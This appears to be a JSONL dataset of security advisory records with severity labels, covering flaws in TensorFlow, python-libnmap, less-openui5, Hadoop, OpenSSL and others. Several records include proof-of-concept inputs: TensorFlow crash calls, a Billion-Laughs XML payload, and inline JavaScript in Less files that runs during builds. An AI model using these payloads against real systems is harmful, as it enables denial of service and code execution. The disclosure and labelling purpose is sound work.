-{"id": "949d808eda0419ba7f51", "text": "CHECK-fail due to integer overflow\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in  caused by an integer overflow in constructing a new tensor shape:\n\n```python\nimport tensorflow as tf\n\ninput_layer = 2**60-1\nsparse_data = tf.raw_ops.SparseSplit(\n    split_dim=1, \n    indices=[(0, 0), (0, 1), (0, 2), \n    (4, 3), (5, 0), (5, 1)],\n    values=[1.0, 1.0, 1.0, 1.0, 1.0, 1.0],\n    shape=(input_layer, input_layer),\n    num_split=2,\n    name=None\n    )\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/0908c2f2397c099338b901b067f6495a5b96760b/tensorflow/core/kernels/sparse_split_op.cc#L66-L70) builds a dense shape without checking that the dimensions would not result in overflow:\n\n```cc\nsparse::SparseTensor sparse_tensor;\nOP_REQUIRES_OK(context,\n               sparse::SparseTensor::Create(\n                 input_indices, input_values,\n                 TensorShape(input_shape.vec<int64>()), &sparse_tensor));\n```\n\nThe [`TensorShape` constructor](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L183-L188) uses a `CHECK` operation which triggers when [`InitDims`](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L212-L296) returns a non-OK status.\n\n```cc               \ntemplate <class Shape>\nTensorShapeBase<Shape>::TensorShapeBase(gtl::ArraySlice<int64> dim_sizes) {\n  set_tag(REP16);\n  set_data_type(DT_INVALID);\n  TF_CHECK_OK(InitDims(dim_sizes));\n}\n```\n\nIn our scenario, this occurs when adding a dimension from the argument results in overflow:\n\n```cc\ntemplate <class Shape>\nStatus TensorShapeBase<Shape>::InitDims(gtl::ArraySlice<int64> dim_sizes) {\n  ...\n  Status status = Status::OK();\n  for (int64 s : dim_sizes) {\n    status.Update(AddDimWithStatus(internal::SubtleMustCopy(s)));\n    if (!status.ok()) {\n      return status;\n    }\n  }\n}\n\ntemplate <class Shape>\nStatus TensorShapeBase<Shape>::AddDimWithStatus(int64 size) {\n  ...\n  int64 new_num_elements;\n  if (kIsPartial && (num_elements() < 0 || size < 0)) {\n    new_num_elements = -1;\n  } else {\n    new_num_elements = MultiplyWithoutOverflow(num_elements(), size);\n    if (TF_PREDICT_FALSE(new_num_elements < 0)) {\n        return errors::Internal(\"Encountered overflow when multiplying \",\n                                num_elements(), \" with \", size,\n                                \", result: \", new_num_elements);\n      }\n  }\n  ...\n}\n```\n\nThis is a legacy implementation of the constructor and operations should use `BuildTensorShapeBase` or `AddDimWithStatus` to prevent `CHECK`-failures in the presence of overflows.\n\n### Patches\nWe have patched the issue in GitHub commit [4c0ee937c0f61c4fc5f5d32d9bb4c67428012a60](https://github.com/tensorflow/tensorflow/commit/4c0ee937c0f61c4fc5f5d32d9bb4c67428012a60).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by researchers from University of Virginia and University of California, Santa Barbara.", "text_raw": "CHECK-fail due to integer overflow\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in  caused by an integer overflow in constructing a new tensor shape:\n\n```python\nimport tensorflow as tf\n\ninput_layer = 2**60-1\nsparse_data = tf.raw_ops.SparseSplit(\n    split_dim=1, \n    indices=[(0, 0), (0, 1), (0, 2), \n    (4, 3), (5, 0), (5, 1)],\n    values=[1.0, 1.0, 1.0, 1.0, 1.0, 1.0],\n    shape=(input_layer, input_layer),\n    num_split=2,\n    name=None\n    )\n```\n  \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/0908c2f2397c099338b901b067f6495a5b96760b/tensorflow/core/kernels/sparse_split_op.cc#L66-L70) builds a dense shape without checking that the dimensions would not result in overflow:\n\n```cc\nsparse::SparseTensor sparse_tensor;\nOP_REQUIRES_OK(context,\n               sparse::SparseTensor::Create(\n                 input_indices, input_values,\n                 TensorShape(input_shape.vec<int64>()), &sparse_tensor));\n```\n\nThe [`TensorShape` constructor](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L183-L188) uses a `CHECK` operation which triggers when [`InitDims`](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L212-L296) returns a non-OK status.\n                    \n```cc               \ntemplate <class Shape>\nTensorShapeBase<Shape>::TensorShapeBase(gtl::ArraySlice<int64> dim_sizes) {\n  set_tag(REP16);\n  set_data_type(DT_INVALID);\n  TF_CHECK_OK(InitDims(dim_sizes));\n}\n```\n\nIn our scenario, this occurs when adding a dimension from the argument results in overflow:\n\n```cc\ntemplate <class Shape>\nStatus TensorShapeBase<Shape>::InitDims(gtl::ArraySlice<int64> dim_sizes) {\n  ...\n  Status status = Status::OK();\n  for (int64 s : dim_sizes) {\n    status.Update(AddDimWithStatus(internal::SubtleMustCopy(s)));\n    if (!status.ok()) {\n      return status;\n    }\n  }\n}\n\ntemplate <class Shape>\nStatus TensorShapeBase<Shape>::AddDimWithStatus(int64 size) {\n  ...\n  int64 new_num_elements;\n  if (kIsPartial && (num_elements() < 0 || size < 0)) {\n    new_num_elements = -1;\n  } else {\n    new_num_elements = MultiplyWithoutOverflow(num_elements(), size);\n    if (TF_PREDICT_FALSE(new_num_elements < 0)) {\n        return errors::Internal(\"Encountered overflow when multiplying \",\n                                num_elements(), \" with \", size,\n                                \", result: \", new_num_elements);\n      }\n  }\n  ...\n}\n```\n\nThis is a legacy implementation of the constructor and operations should use `BuildTensorShapeBase` or `AddDimWithStatus` to prevent `CHECK`-failures in the presence of overflows.\n\n### Patches\nWe have patched the issue in GitHub commit [4c0ee937c0f61c4fc5f5d32d9bb4c67428012a60](https://github.com/tensorflow/tensorflow/commit/4c0ee937c0f61c4fc5f5d32d9bb4c67428012a60).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by researchers from University of Virginia and University of California, Santa Barbara.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "a575d4c311245a29125a", "text": "Heap Overflow in PyMiniRacer\n\nA heap overflow in Sqreen PyMiniRacer (aka Python Mini Racer) before 0.3.0 allows remote attackers to potentially exploit heap corruption.\n\nMore details on https://blog.sqreen.com/vulnerability-disclosure-finding-a-vulnerability-in-sqreens-php-agent-and-how-we-fixed-it/.", "text_raw": "Heap Overflow in PyMiniRacer\n\n[Severity: HIGH]\n\nA heap overflow in Sqreen PyMiniRacer (aka Python Mini Racer) before 0.3.0 allows remote attackers to potentially exploit heap corruption.\n\nMore details on https://blog.sqreen.com/vulnerability-disclosure-finding-a-vulnerability-in-sqreens-php-agent-and-how-we-fixed-it/.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-18", "split": "train"}
-{"id": "3d4ed8b74a17aa60d231", "text": "HTML injection in email and account expiry notifications\n\n### Impact\nThe notification emails sent for notifications for missed messages or for an expiring account are subject to HTML injection. In the case of the notification for missed messages, this could allow an attacker to insert forged content into the email.\n\nThe account expiry feature is not enabled by default and the HTML injection is not controllable by an attacker.\n\n### Patches\nThis issue is fixed in #9200.\n\n### Workarounds\nFor the missed messages notifications:\n\nThe `notif.html`, `notif_mail.html`, and `room.html` templates can be overridden with custom templates that manually escapes the variables using [JInja2's `escape` filter](https://jinja.palletsprojects.com/en/2.11.x/templates/#escape). See the `email.template_dir` setting.\n\nFor the account expiry notifications:\n\n1. Account expiry can be disabled via the `account_validity.enabled` setting.\n\n2. The `notice_expiry.html` template can be overridden with a custom template that manually escapes the variables using [JInja2's `escape` filter](https://jinja.palletsprojects.com/en/2.11.x/templates/#escape). See the `email.template_dir` setting.", "text_raw": "HTML injection in email and account expiry notifications\n\n[Severity: MEDIUM]\n\n### Impact\nThe notification emails sent for notifications for missed messages or for an expiring account are subject to HTML injection. In the case of the notification for missed messages, this could allow an attacker to insert forged content into the email.\n\nThe account expiry feature is not enabled by default and the HTML injection is not controllable by an attacker.\n\n### Patches\nThis issue is fixed in #9200.\n\n### Workarounds\nFor the missed messages notifications:\n\nThe `notif.html`, `notif_mail.html`, and `room.html` templates can be overridden with custom templates that manually escapes the variables using [JInja2's `escape` filter](https://jinja.palletsprojects.com/en/2.11.x/templates/#escape). See the `email.template_dir` setting.\n\nFor the account expiry notifications:\n\n1. Account expiry can be disabled via the `account_validity.enabled` setting.\n\n2. The `notice_expiry.html` template can be overridden with a custom template that manually escapes the variables using [JInja2's `escape` filter](https://jinja.palletsprojects.com/en/2.11.x/templates/#escape). See the `email.template_dir` setting.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-26", "split": "train"}
-{"id": "cdab1e49162087d7eaf0", "text": "Gyazo allows local users to write arbitrary files\n\n`lib/gyazo/client.rb` in the gyazo gem 1.0.0 for Ruby allows local users to write to arbitrary files via a symlink attack on a temporary file, related to time-based filenames.", "text_raw": "Gyazo allows local users to write arbitrary files\n\n[Severity: MEDIUM]\n\n`lib/gyazo/client.rb` in the gyazo gem 1.0.0 for Ruby allows local users to write to arbitrary files via a symlink attack on a temporary file, related to time-based filenames.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-01-22", "split": "train"}
-{"id": "1c95e76c8af0290953c2", "text": "NCH Software Inventoria 3.45 (id param) Reflected Cross-Site Scripting Vulnerability", "text_raw": "NCH Software Inventoria 3.45 (id param) Reflected Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-01-29", "split": "train"}
-{"id": "178770d2d7a25c421807", "text": "OpenWGA Developer Studio 3.1.0 OpenDialog Arbitrary Code Execution", "text_raw": "OpenWGA Developer Studio 3.1.0 OpenDialog Arbitrary Code Execution\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-04-13", "split": "train"}
-{"id": "e3e43607257e6f14a7b3", "text": "Privilege escalation vulnerability in Apache Hadoop\n\nIn Apache Hadoop versions 3.0.0-alpha1 to 3.1.0, 2.9.0 to 2.9.1, and 2.2.0 to 2.8.4, a user who can escalate to yarn user can possibly run arbitrary commands as root user.", "text_raw": "Privilege escalation vulnerability in Apache Hadoop\n\n[Severity: HIGH]\n\nIn Apache Hadoop versions 3.0.0-alpha1 to 3.1.0, 2.9.0 to 2.9.1, and 2.2.0 to 2.8.4, a user who can escalate to yarn user can possibly run arbitrary commands as root user.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-31", "split": "train"}
-{"id": "bc36d5ffd70528427de1", "text": "XAMPP 1.7.7 Multiple URI Based Cross-Site Scripting Vulnerabilities", "text_raw": "XAMPP 1.7.7 Multiple URI Based Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-11-07", "split": "train"}
-{"id": "8893dda4f1d9fdc58be0", "text": "XML Injection in python-libnmap\n\n### Description\n\npython-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.\n\n### PoC\n\n```python\nty = NmapParser()\n\npayload = \"\"\"\n<!DOCTYPE lolz [\n <!ENTITY lol \"lol\">\n <!ELEMENT lolz (#PCDATA)>\n <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n]>\n<lolz><hello>&lol3;</hello></lolz>\n\"\"\"\n\nty.parse(payload)\n```", "text_raw": "XML Injection in python-libnmap\n\n[Severity: HIGH]\n\n### Description\n\npython-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.\n\n### PoC\n\n```python\nty = NmapParser()\n\npayload = \"\"\"\n<!DOCTYPE lolz [\n <!ENTITY lol \"lol\">\n <!ELEMENT lolz (#PCDATA)>\n <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n]>\n<lolz><hello>&lol3;</hello></lolz>\n\"\"\"\n\nty.parse(payload)\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-18", "split": "train"}
-{"id": "57e99aa866e2740e8468", "text": "Missing release of memory in sized-chunks\n\nChunk:\n\n* Array size is not checked when constructed with unit() and pair().\n* Array size is not checked when constructed with From<InlineArray<A, T>>.\n* Clone and insert_from are not panic-safe; A panicking iterator causes memory safety issues with them.\n\nInlineArray:\n\n* Generates unaligned references for types with a large alignment requirement.", "text_raw": "Missing release of memory in sized-chunks\n\n[Severity: HIGH]\n\nChunk:\n\n* Array size is not checked when constructed with unit() and pair().\n* Array size is not checked when constructed with From<InlineArray<A, T>>.\n* Clone and insert_from are not panic-safe; A panicking iterator causes memory safety issues with them.\n\nInlineArray:\n\n* Generates unaligned references for types with a large alignment requirement.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7527b93ad86588384fd0", "text": "Processing untrusted theming resources might execute arbitrary code (ACE)\n\n### Impact\nWhen processing theming resources (i.e. `*.less` files) with less-openui5 that originate from an untrusted source, those resources might contain JavaScript code which will be executed in the context of the build process.\n\nWhile this is a [feature](http://lesscss.org/usage/#less-options-enable-inline-javascript-deprecated-) of the [Less.js library](https://github.com/less/less.js), it is an unexpected behavior in the context of OpenUI5 and SAPUI5 development.\n\nEspecially in the context of [UI5 Tooling](https://github.com/SAP/ui5-tooling), which relies on less-openui5, this poses a security threat:\n\nAn attacker might create a [library](https://sap.github.io/ui5-tooling/pages/Builder/#library) or [theme-library](https://sap.github.io/ui5-tooling/pages/Builder/#theme-library) containing a custom control or theme, hiding malicious JavaScript code in one of the `.less` files.\n\nThis is an example of inline JavaScript in a Less file:\n```less\n.rule {\n\t@var: `(function(){console.log('Hello from JavaScript'); process.exit(1);})()`;\n\tcolor: @var;\n}\n```\n\nStarting with Less.js version 3.0.0, the Inline JavaScript feature is disabled by default. less-openui5 however currently uses [a fork](https://github.com/SAP/less-openui5/tree/master/lib/thirdparty/less) of Less.js v1.6.3.\n\nNote that disabling the Inline JavaScript feature in Less.js versions 1.x, still evaluates code has additional double codes around it:\n```less\n.rule {\n\t@var: \"`(function(){console.log('Hello from JavaScript'); process.exit(1);})()`\";\n\tcolor: @var;\n}\n```\n\n### Patches\nWe decided to remove the inline JavaScript evaluation feature completely from the code of our Less.js fork.\n\nThis fix is available in less-openui5 version [v0.10.0](https://github.com/SAP/less-openui5/releases/tag/v0.10.0)\n\n### Workarounds\nOnly process trusted theming resources.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/SAP/less-openui5\n* Email us at secure@sap.com", "text_raw": "Processing untrusted theming resources might execute arbitrary code (ACE)\n\n[Severity: HIGH]\n\n### Impact\nWhen processing theming resources (i.e. `*.less` files) with less-openui5 that originate from an untrusted source, those resources might contain JavaScript code which will be executed in the context of the build process.\n\nWhile this is a [feature](http://lesscss.org/usage/#less-options-enable-inline-javascript-deprecated-) of the [Less.js library](https://github.com/less/less.js), it is an unexpected behavior in the context of OpenUI5 and SAPUI5 development.\n\nEspecially in the context of [UI5 Tooling](https://github.com/SAP/ui5-tooling), which relies on less-openui5, this poses a security threat:\n\nAn attacker might create a [library](https://sap.github.io/ui5-tooling/pages/Builder/#library) or [theme-library](https://sap.github.io/ui5-tooling/pages/Builder/#theme-library) containing a custom control or theme, hiding malicious JavaScript code in one of the `.less` files.\n\nThis is an example of inline JavaScript in a Less file:\n```less\n.rule {\n\t@var: `(function(){console.log('Hello from JavaScript'); process.exit(1);})()`;\n\tcolor: @var;\n}\n```\n\nStarting with Less.js version 3.0.0, the Inline JavaScript feature is disabled by default. less-openui5 however currently uses [a fork](https://github.com/SAP/less-openui5/tree/master/lib/thirdparty/less) of Less.js v1.6.3.\n\nNote that disabling the Inline JavaScript feature in Less.js versions 1.x, still evaluates code has additional double codes around it:\n```less\n.rule {\n\t@var: \"`(function(){console.log('Hello from JavaScript'); process.exit(1);})()`\";\n\tcolor: @var;\n}\n```\n\n### Patches\nWe decided to remove the inline JavaScript evaluation feature completely from the code of our Less.js fork.\n\nThis fix is available in less-openui5 version [v0.10.0](https://github.com/SAP/less-openui5/releases/tag/v0.10.0)\n\n### Workarounds\nOnly process trusted theming resources.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/SAP/less-openui5\n* Email us at secure@sap.com", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "2b00ade4a96617f6b9c9", "text": "HTTP response splitting in uvicorn\n\nUvicorn before 0.11.7 is vulnerable to HTTP response splitting. CRLF sequences are not escaped in the value of HTTP headers. Attackers can exploit exploit this to add arbitrary headers to HTTP responses, or even return an arbitrary response body, whenever crafted input is used to construct HTTP headers.", "text_raw": "HTTP response splitting in uvicorn\n\n[Severity: HIGH]\n\nUvicorn before 0.11.7 is vulnerable to HTTP response splitting. CRLF sequences are not escaped in the value of HTTP headers. Attackers can exploit exploit this to add arbitrary headers to HTTP responses, or even return an arbitrary response body, whenever crafted input is used to construct HTTP headers.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "345c5ed1c6217d527592", "text": "[Cryptographic Issues - Generic] OpenSSL Key Recovery Attack on DH small subgroups (CVE-2016-0701)\n\nFull write up: http://intothesymmetry.blogspot.ch/2016/01/openssl-key-recovery-attack-on-dh-small.html\n\nDH small subgroups (CVE-2016-0701)\n==================================\n\nHistorically OpenSSL usually only ever generated DH parameters based on \"safe\"\nprimes. More recently (in version 1.0.2) support was provided for generating\nX9.42 style parameter files such as those required for RFC 5114 support. The\nprimes used in such files may not be \"safe\". Where an application is using DH\nconfigured with parameters based on primes that are not \"safe\" then an attacker\ncould use this fact to find a peer's private DH exponent. This attack requires\nthat the attacker complete multiple handshakes in which the peer uses the same\nprivate DH exponent. For example this could be used to discover a TLS server's\nprivate DH exponent if it's reusing the private DH exponent or it's using a\nstatic DH ciphersuite.\n\nOpenSSL provides the option SSL_OP_SINGLE_DH_USE for ephemeral DH (DHE) in TLS.\nIt is not on by default. If the option is not set then the server reuses the\nsame private DH exponent for the life of the server process and would be\nvulnerable to this attack. It is believed that many popular applications do set\nthis option and would therefore not be at risk.\n\nOpenSSL before 1.0.2f will reuse the key if:\n- - SSL_CTX_set_tmp_dh()/SSL_set_tmp_dh() is used and SSL_OP_SINGLE_DH_USE is not\n  set.\n- - SSL_CTX_set_tmp_dh_callback()/SSL_set_tmp_dh_callback() is used, and both the\n  parameters and the key are set and SSL_OP_SINGLE_DH_USE is not used. This is\n  an undocumted feature and parameter files don't contain the key.\n- - Static DH ciphersuites are used. The key is part of the certificate and\n  so it will always reuse it. This is only supported in 1.0.2.\n\nIt will not reuse the key for DHE ciphers suites if:\n- - SSL_OP_SINGLE_DH_USE is set\n- - SSL_CTX_set_tmp_dh_callback()/SSL_set_tmp_dh_callback() is used and the\n  callback does not provide the key, only the parameters. The callback is\n  almost always used like this.\n\nNon-safe primes are generated by OpenSSL when using:\n- - genpkey with the dh_rfc5114 option. This will write an X9.42 style file\n  including the prime-order subgroup size \"q\". This is supported since the 1.0.2\n  version. Older versions can't read files generated in this way.\n- - dhparam with the -dsaparam option. This has always been documented as\n  requiring the single use.\n\nThe fix for this issue adds an additional check where a \"q\" parameter is\navailable (as is the case in X9.42 based parameters). This detects the\nonly known attack, and is the only possible defense for static DH ciphersuites.\nThis could have some performance impact.\n\nAdditionally the SSL_OP_SINGLE_DH_USE option has been switched on by default\nand cannot be disabled. This could have some performance impact.\n\nThis issue affects OpenSSL version 1.0.2.\n\nOpenSSL 1.0.2 users should upgrade to 1.0.2f\n\nOpenSSL 1.0.1 is not affected by this CVE because it does not support X9.42\nbased parameters. It is possible to generate parameters using non \"safe\" primes,\nbut this option has always been documented as requiring single use and is not\nthe default or believed to be common. However, as a precaution, the\nSSL_OP_SINGLE_DH_USE change has also been backported to 1.0.1r.\n\nThis issue was reported to OpenSSL on 12 January 2016 by Antonio Sanso (Adobe).\nThe fix was developed by Matt Caswell of the OpenSSL development team\n(incorporating some work originally written by Stephen Henson of the OpenSSL", "text_raw": "[Cryptographic Issues - Generic] OpenSSL Key Recovery Attack on DH small subgroups (CVE-2016-0701)\n\nFull write up: http://intothesymmetry.blogspot.ch/2016/01/openssl-key-recovery-attack-on-dh-small.html\n\n\nDH small subgroups (CVE-2016-0701)\n==================================\n\nSeverity: High\n\nHistorically OpenSSL usually only ever generated DH parameters based on \"safe\"\nprimes. More recently (in version 1.0.2) support was provided for generating\nX9.42 style parameter files such as those required for RFC 5114 support. The\nprimes used in such files may not be \"safe\". Where an application is using DH\nconfigured with parameters based on primes that are not \"safe\" then an attacker\ncould use this fact to find a peer's private DH exponent. This attack requires\nthat the attacker complete multiple handshakes in which the peer uses the same\nprivate DH exponent. For example this could be used to discover a TLS server's\nprivate DH exponent if it's reusing the private DH exponent or it's using a\nstatic DH ciphersuite.\n\nOpenSSL provides the option SSL_OP_SINGLE_DH_USE for ephemeral DH (DHE) in TLS.\nIt is not on by default. If the option is not set then the server reuses the\nsame private DH exponent for the life of the server process and would be\nvulnerable to this attack. It is believed that many popular applications do set\nthis option and would therefore not be at risk.\n\nOpenSSL before 1.0.2f will reuse the key if:\n- - SSL_CTX_set_tmp_dh()/SSL_set_tmp_dh() is used and SSL_OP_SINGLE_DH_USE is not\n  set.\n- - SSL_CTX_set_tmp_dh_callback()/SSL_set_tmp_dh_callback() is used, and both the\n  parameters and the key are set and SSL_OP_SINGLE_DH_USE is not used. This is\n  an undocumted feature and parameter files don't contain the key.\n- - Static DH ciphersuites are used. The key is part of the certificate and\n  so it will always reuse it. This is only supported in 1.0.2.\n\nIt will not reuse the key for DHE ciphers suites if:\n- - SSL_OP_SINGLE_DH_USE is set\n- - SSL_CTX_set_tmp_dh_callback()/SSL_set_tmp_dh_callback() is used and the\n  callback does not provide the key, only the parameters. The callback is\n  almost always used like this.\n\nNon-safe primes are generated by OpenSSL when using:\n- - genpkey with the dh_rfc5114 option. This will write an X9.42 style file\n  including the prime-order subgroup size \"q\". This is supported since the 1.0.2\n  version. Older versions can't read files generated in this way.\n- - dhparam with the -dsaparam option. This has always been documented as\n  requiring the single use.\n\nThe fix for this issue adds an additional check where a \"q\" parameter is\navailable (as is the case in X9.42 based parameters). This detects the\nonly known attack, and is the only possible defense for static DH ciphersuites.\nThis could have some performance impact.\n\nAdditionally the SSL_OP_SINGLE_DH_USE option has been switched on by default\nand cannot be disabled. This could have some performance impact.\n\nThis issue affects OpenSSL version 1.0.2.\n\nOpenSSL 1.0.2 users should upgrade to 1.0.2f\n\nOpenSSL 1.0.1 is not affected by this CVE because it does not support X9.42\nbased parameters. It is possible to generate parameters using non \"safe\" primes,\nbut this option has always been documented as requiring single use and is not\nthe default or believed to be common. However, as a precaution, the\nSSL_OP_SINGLE_DH_USE change has also been backported to 1.0.1r.\n\nThis issue was reported to OpenSSL on 12 January 2016 by Antonio Sanso (Adobe).\nThe fix was developed by Matt Caswell of the OpenSSL development team\n(incorporating some work originally written by Stephen Henson of the OpenSSL", "severity": "high", "severity_label": 2, "source": "hackerone", "timestamp": "2016-03-28", "split": "train"}
-{"id": "e5c052f36908ce698dd6", "text": "Improper Input Validation in Google Closure Library\n\nA URL parsing issue in goog.uri of the Google Closure Library versions up to and including v20200224 allows an attacker to send malicious URLs to be parsed by the library and return the wrong authority. Mitigation -- update your library to version v20200315.", "text_raw": "Improper Input Validation in Google Closure Library\n\n[Severity: MEDIUM]\n\nA URL parsing issue in goog.uri of the Google Closure Library versions up to and including v20200224 allows an attacker to send malicious URLs to be parsed by the library and return the wrong authority. Mitigation -- update your library to version v20200315.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "f68b43c95248fc68b05a", "text": "Division by 0 in `QuantizedBatchNormWithGlobalNormalization`\n\n### Impact\nAn attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:\n\n```python\nimport tensorflow as tf\n\nt = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)\nt_min = tf.constant(-10.0, dtype=tf.float32)\nt_max = tf.constant(-10.0, dtype=tf.float32)\nm = tf.constant([], shape=[0], dtype=tf.quint8)\nm_min = tf.constant(-10.0, dtype=tf.float32)\nm_max = tf.constant(-10.0, dtype=tf.float32)\nv = tf.constant([], shape=[0], dtype=tf.quint8)\nv_min = tf.constant(-10.0, dtype=tf.float32)\nv_max = tf.constant(-10.0, dtype=tf.float32)\nbeta = tf.constant([], shape=[0], dtype=tf.quint8)\nbeta_min = tf.constant(-10.0, dtype=tf.float32)\nbeta_max = tf.constant(-10.0, dtype=tf.float32)\ngamma = tf.constant([], shape=[0], dtype=tf.quint8)\ngamma_min = tf.constant(-10.0, dtype=tf.float32)\ngamma_max = tf.constant(-10.0, dtype=tf.float32)\n\ntf.raw_ops.QuantizedBatchNormWithGlobalNormalization(\n  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,\n  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,\n  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,\n  gamma_max=gamma_max, out_type=tf.qint32,\n  variance_epsilon=0.1, scale_after_normalization=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the [op's contract](https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization).\n\n### Patches \nWe have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team", "text_raw": "Division by 0 in `QuantizedBatchNormWithGlobalNormalization`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:\n\n```python\nimport tensorflow as tf\n\nt = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)\nt_min = tf.constant(-10.0, dtype=tf.float32)\nt_max = tf.constant(-10.0, dtype=tf.float32)\nm = tf.constant([], shape=[0], dtype=tf.quint8)\nm_min = tf.constant(-10.0, dtype=tf.float32)\nm_max = tf.constant(-10.0, dtype=tf.float32)\nv = tf.constant([], shape=[0], dtype=tf.quint8)\nv_min = tf.constant(-10.0, dtype=tf.float32)\nv_max = tf.constant(-10.0, dtype=tf.float32)\nbeta = tf.constant([], shape=[0], dtype=tf.quint8)\nbeta_min = tf.constant(-10.0, dtype=tf.float32)\nbeta_max = tf.constant(-10.0, dtype=tf.float32)\ngamma = tf.constant([], shape=[0], dtype=tf.quint8)\ngamma_min = tf.constant(-10.0, dtype=tf.float32)\ngamma_max = tf.constant(-10.0, dtype=tf.float32)\n\ntf.raw_ops.QuantizedBatchNormWithGlobalNormalization(\n  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,\n  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,\n  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,\n  gamma_max=gamma_max, out_type=tf.qint32,\n  variance_epsilon=0.1, scale_after_normalization=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the [op's contract](https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization).\n\n### Patches \nWe have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 